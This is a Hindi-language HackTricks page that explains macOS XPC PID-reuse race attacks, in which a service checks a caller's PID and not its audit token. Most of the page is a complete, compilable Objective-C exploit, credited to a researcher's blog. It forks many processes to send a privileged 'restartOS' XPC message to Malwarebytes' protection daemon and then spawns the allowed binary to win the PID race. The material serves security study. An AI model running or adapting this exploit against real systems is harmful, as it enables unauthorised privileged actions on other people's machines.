macOS PID Reuse

HackTricks का समर्थन करें

PID पुन: उपयोग

जब एक macOS XPC सेवा कॉल की गई प्रक्रिया की जांच PID के आधार पर करती है और ऑडिट टोकन के आधार पर नहीं, तो यह PID पुन: उपयोग हमले के लिए संवेदनशील होती है। यह हमला एक रेस कंडीशन पर आधारित है जहां एक शोषण XPC सेवा को संदेश भेजने जा रहा है कार्यात्मकता का दुरुपयोग करते हुए और उसके बाद posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) को अनुमत बाइनरी के साथ निष्पादित करता है।

यह फ़ंक्शन अनुमत बाइनरी को PID का मालिक बनाएगा लेकिन दुष्ट XPC संदेश पहले ही भेजा जा चुका होगा। इसलिए, यदि XPC सेवा PID का उपयोग प्रेषक को प्रमाणित करने के लिए करती है और इसे posix_spawn के निष्पादन के बाद जांचती है, तो यह सोचेगी कि यह एक अधिकृत प्रक्रिया से आया है।

शोषण उदाहरण

यदि आप फ़ंक्शन shouldAcceptNewConnection या इसे कॉल करने वाले फ़ंक्शन को पाते हैं जो processIdentifier को कॉल करता है और auditToken को कॉल नहीं करता है। यह अत्यधिक संभावित है कि यह प्रक्रिया PID की जांच कर रहा है और ऑडिट टोकन की नहीं। जैसे कि इस छवि में उदाहरण के लिए (संदर्भ से लिया गया):

इस उदाहरण शोषण की जांच करें (फिर से, संदर्भ से लिया गया) ताकि शोषण के 2 भागों को देखा जा सके:

  • एक जो कई फोर्क उत्पन्न करता है

  • प्रत्येक फोर्क संदेश भेजने के तुरंत बाद posix_spawn को निष्पादित करते हुए XPC सेवा को पेलोड भेजेगा।

शोषण के काम करने के लिए यह महत्वपूर्ण है कि export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES या शोषण के अंदर डालें:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

पहला विकल्प NSTasks का उपयोग करते हुए और बच्चों को लॉन्च करने के लिए तर्क RC का शोषण करने के लिए

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

// send the XPC messages
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
xpcConnection.remoteObjectInterface = remoteInterface;

[xpcConnection resume];
[xpcConnection.remoteObjectProxy restartOS];

char target_binary[] = BINARY;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

NSString *exec = [[NSBundle mainBundle] executablePath];
NSTask *processes[RACE_COUNT];

for (int i = 0; i < RACE_COUNT; i++) {
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
}

int i = 0;
struct timespec ts = {
.tv_sec = 0,
.tv_nsec = 500 * 1000000,
};

nanosleep(&ts, NULL);
if (++i > 4) {
for (int i = 0; i < RACE_COUNT; i++) {
[processes[i] terminate];
}
return false;
}

return true;
}

int main(int argc, const char * argv[]) {

if(argc > 1) {
// called from the NSTasks
child();

} else {
NSLog(@"Starting the race");
create_nstasks();
}

return 0;
}

अन्य उदाहरण

संदर्भ

HackTricks का समर्थन करें

Last updated